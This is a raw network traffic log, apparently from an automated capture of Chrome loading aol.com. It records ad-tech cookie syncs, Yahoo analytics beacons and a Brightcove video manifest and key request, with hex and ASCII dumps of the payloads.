2024-05-23 22:35:13 UTC	775	OUT	GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1 Host: api.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:13 UTC	971	IN	HTTP/1.1 200 OK Connection: close Server: nginx Content-Type: application/json;charset=utf-8 P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: https://www.aol.com Access-Control-Allow-Credentials: true Set-Cookie: t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14;Version=1;Path=/;Domain=.taboola.com;Expires=Fri, 23-May-2025 22:35:13 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14;Version=1;Path=/;Domain=.taboola.com;Expires=Fri, 23-May-2025 22:35:13 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:13 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-ewr18135-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503714.908332,VS0,VE19 Vary: Accept-Encoding X-vcl-time-ms: 19 transfer-encoding: chunked
2024-05-23 22:35:13 UTC	4	IN	Data Raw: 35 34 0d 0a Data Ascii: 54
2024-05-23 22:35:13 UTC	84	IN	Data Raw: 7b 22 75 73 65 72 22 3a 7b 22 69 64 22 3a 22 65 30 66 33 33 30 63 30 2d 39 32 31 31 2d 34 35 35 34 2d 61 37 65 62 2d 61 30 38 61 37 61 33 35 34 32 30 66 2d 74 75 63 74 64 34 39 34 61 31 34 22 2c 22 69 73 4e 65 77 55 73 65 72 22 3a 66 61 6c 73 65 7d 7d Data Ascii: {"user":{"id":"e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14","isNewUser":false}}
2024-05-23 22:35:13 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.6	50467	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1591	OUT	POST /p?s=1197805788&t=By5yl3XuhHKccxth,0.5987306604920393&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03158%04_E%03dwell%04_ts%031716503712%04_ms%03170%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:14 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:14 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:14 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.6	50474	34.192.68.138	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	963	OUT	GET /match?bidder=18&buyeruid=3e69915a-aa81-453c-8be6-621af7150f41&r=Cid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4AQ== HTTP/1.1 Host: ssp.disqus.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zeta-ssp-user-id=ua-d3a5a567-89dd-33ed-be20-40cbb3087081
2024-05-23 22:35:14 UTC	603	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:13 GMT Content-Length: 0 Connection: close cache-control: no-store pragma: no-cache expires: 0 location: https://sync.adkernel.com/user-sync?zone=220412&t=image&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D41%26buyeruid%3D%7BUID%7D%26r%3DCid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4Ag==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.6	50469	34.255.48.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	875	OUT	GET /cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AANRF07Mn4kAABWNJQroRw; bitoIsSecure=ok
2024-05-23 22:35:14 UTC	586	IN	HTTP/1.1 303 See Other Date: Thu, 23 May 2024 22:35:14 GMT location: https://bh.contextweb.com/bh/rtset?ev=AANRF07Mn4kAABWNJQroRw&do=add&pid=558502&rurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26bee_sync_partners%3Dsas%252Cpm%26bee_sync_current_partner%3Dpp%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D2&gdpr=0 Server: gunicorn set-cookie: bito=AANRF07Mn4kAABWNJQroRw; Domain=bidr.io; expires=Sun, 22 Jun 2025 18:35:14 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.6	50471	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	1389	OUT	GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/8b2017e3-8e45-48ae-a820-feeb718d77f3/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMTc1NzY4OWQ2ZWJiNGQzMzVhNzEzNzZjNDcyNjZhZGU1MWFiYjdkZDRkMGVmYjdlMTk0MzJmNmFjYTM3YWI0Ng%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:14 UTC	650	IN	HTTP/1.1 200 OK Connection: close Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Age: 0 Date: Thu, 23 May 2024 22:35:14 GMT Via: 1.1 varnish X-Served-By: cache-ewr18175-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503714.112069,VS0,VE42 X-Device-Group: desktop-chrome transfer-encoding: chunked
2024-05-23 22:35:14 UTC	5	IN	Data Raw: 31 34 34 0d 0a Data Ascii: 144
2024-05-23 22:35:14 UTC	324	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 4b 45 59 3a 4d 45 54 48 4f 44 3d 41 45 53 2d 31 32 38 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6c 69 63 65 6e 73 65 2f 76 31 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 44 46 6a 5a 44 5a 66 4e 44 55 35 4f 57 49 34 5a 54 55 30 5a 6d 5a 69 5a 6d 4a 6c 5a 47 59 33 4d 57 45 35 4e 6a 63 78 59 7a Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDZfNDU5OWI4ZTU0ZmZiZmJlZGY3MWE5NjcxYz
2024-05-23 22:35:14 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:14 UTC	5	IN	Data Raw: 32 32 62 0d 0a Data Ascii: 22b
2024-05-23 22:35:14 UTC	555	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:14 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:14 UTC	6	IN	Data Raw: 31 36 37 65 0d 0a Data Ascii: 167e
2024-05-23 22:35:14 UTC	1371	IN	Data Raw: 22 2c 49 56 3d 30 78 36 36 37 61 39 37 39 61 32 65 64 38 30 32 65 61 63 30 37 61 64 31 61 35 31 35 32 61 35 32 35 65 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 36 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 38 62 32 30 31 37 65 33 2d 38 65 34 35 2d 34 Data Ascii: ",IV=0x667a979a2ed802eac07ad1a5152a525e#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:6#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/8b2017e3-8e45-4
2024-05-23 22:35:14 UTC	1371	IN	Data Raw: 31 65 2f 38 62 32 30 31 37 65 33 2d 38 65 34 35 2d 34 38 61 65 2d 61 38 32 30 2d 66 65 65 62 37 31 38 64 37 37 66 33 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 32 61 37 36 38 31 33 62 65 38 63 61 62 33 31 36 30 61 65 61 38 34 66 37 63 32 35 65 38 65 30 64 65 37 35 33 62 37 61 63 31 65 65 65 34 66 64 34 38 30 65 65 62 30 31 39 63 61 38 61 64 31 64 64 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 Data Ascii: 1e/8b2017e3-8e45-48ae-a820-feeb718d77f3/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=2a76813be8cab3160aea84f7c25e8e0de753b7ac1eee4fd480eeb019ca8ad1dd#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40
2024-05-23 22:35:14 UTC	1371	IN	Data Raw: 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 38 62 32 30 31 37 65 33 2d 38 65 34 35 2d 34 38 61 65 2d 61 38 32 30 2d 66 65 65 62 37 31 38 64 37 37 66 33 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 32 61 37 36 38 31 33 62 65 38 63 61 62 33 31 36 30 61 65 61 38 34 66 37 63 32 35 65 38 65 30 64 65 37 35 33 62 37 61 63 31 65 65 65 34 66 64 34 38 30 65 65 62 30 31 39 63 61 38 61 64 31 64 64 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 Data Ascii: 1/6b9daf23-4bde-40fd-8649-5be6dcb9691e/8b2017e3-8e45-48ae-a820-feeb718d77f3/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=2a76813be8cab3160aea84f7c25e8e0de753b7ac1eee4fd480eeb019ca8ad1dd#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.6	50472	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	1363	OUT	GET /license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDVfY2IwZjNhZjU1ZjkwZjRmM2Y4ZmI5NmI3MDFiNTNlZTEyY2MzNWZkYWIyNzE4ODJlMDcyYzMzNTlmYTJjMzAxMw%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:14 UTC	563	IN	HTTP/1.1 200 OK Connection: close Content-Length: 16 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Bcov-Jwt-Validity: success Bcov-Request-Id: f4ab122a-b3ae-47e2-9c02-2a9a55a16430 Cache-Control: private, max-age=136 Content-Type: application/octet-stream X-Hosted-On: Gantry X-Powered-By: BC X-Powered-From: us-east-1c Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:14 GMT Via: 1.1 varnish X-Served-By: cache-ewr18151-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503714.231903,VS0,VE77 X-Device-Group: desktop-chrome
2024-05-23 22:35:14 UTC	16	IN	Data Raw: d3 fa 67 b1 7f 8e d3 fb e7 62 f7 97 bd 9c 04 e1 Data Ascii: gb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.6	50475	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	1593	OUT	POST /p?s=1197805788&t=FHB2xOIjG7T9It0F,0.04118814579178598&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03170%04_E%03dwell%04_ts%031716503712%04_ms%03174%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:14 UTC	732	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:14 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 10 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:14 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.6	50476	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
